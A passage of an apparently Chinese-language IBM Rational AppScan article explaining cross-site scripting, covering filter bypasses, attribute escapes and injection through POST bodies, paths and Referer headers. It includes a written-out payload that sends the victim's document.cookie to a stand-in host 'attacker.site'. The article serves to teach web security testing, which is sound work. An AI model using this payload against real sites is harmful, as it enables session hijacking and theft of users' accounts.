IBM Rational AppScan：跨站点脚本攻击深入解析

关于这些可能性的一些情形：

除了 <script>...</script>，黑客可以使用 <img src="javascript:...">。这对于过滤 <script> HTML 标签的站点来说很好用。

除了 <script>...</script>，还可以使用 <script src="http://...">。这对于 JavaScript 代码过长，或者其中包含了禁止字符时的情况是很好用的。

有时候，响应页面中内嵌的数据处于非自由的 HTML 环境中。在这种情况下，首先必要的是“逃”到自由的环境中，然后附加 XSS 攻击。举例来说，如果以 HTML 表单字段的默认值注入数据：

...
<input type=text name=user value="...">
...

那么在数据的开头必需包含 "> ，从而逃到自由的 HTML 环境中。数据可能是：

"><script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>

结果得到的 HTML 是：

...
<input type=text name=user value=""><script>window.open
("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">
...

执行传统的 XSS 攻击的其他方式

到此为止，我们已经看到 XSS 攻击可以出现在用脚本回送响应的 GET 请求的参数中。但是也可以用 POST 请求实现攻击，或者利用 HTTP 请求的路径组件 —— 甚至使用一些 HTTP 头（例如 Referer）。

特别是，当错误页面返回错误的路径时，路径组件就有用了。在这种情况下，包含在该路径中的恶意脚本经常都会执行。已发现许多 Web 服务器都容易受到这种攻击。